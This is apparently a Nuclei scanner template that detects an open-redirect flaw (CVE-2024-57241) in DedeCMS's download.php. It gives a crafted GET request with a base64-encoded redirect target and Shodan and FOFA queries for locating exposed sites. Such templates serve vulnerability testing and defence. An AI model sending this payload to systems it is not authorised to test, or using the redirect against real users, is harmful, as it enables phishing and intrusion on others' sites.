id: CVE-2024-57241

info:
  name: DedeCMS - Open Redirect via download.php
  author: 0x_Akoko
  severity: medium
  description: |
    Dedecms 5.71sp1 and earlier contain a URL redirect caused by a logic error that does not properly validate GET request input, letting attackers redirect users to arbitrary URLs, exploit requires sending crafted GET requests.
  impact: |
    Attackers can redirect users to malicious sites, potentially leading to phishing or malware distribution.
  remediation: |
    Update to the latest version of Dedecms or apply security patches addressing URL redirect issues.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57241
    - https://github.com/woshidaheike/dedecms-url-redirection
  classification:
    cve-id: CVE-2024-57241
    epss-score: 0.01112
    epss-percentile: 0.61673
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 2
    vendor: dedecms
    product: dedecms
    shodan-query: 'http.title:"DedeCMS"'
    fofa-query: 'body="DedeCMS" || body="/plus/download.php"'
  tags: cve,cve2024,dedecms,redirect,cms

http:
  - raw:
      - |
        GET /plus/download.php?open=1&link=aHR0cHM6Ly9pbnRlcmFjdC5zaA== HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'location == "https://interact.sh"'
        condition: and
# digest: 4b0a0048304602210082bac020b45f0e3fe6a8c71124129a7666e0f05c8193c15f4f894bd4061541de022100eda533d05a65a8075f86388d9c88b3a8e9523ed4117efaa16de57915b192bf94:922c64590222798bb761d5b6d8e72950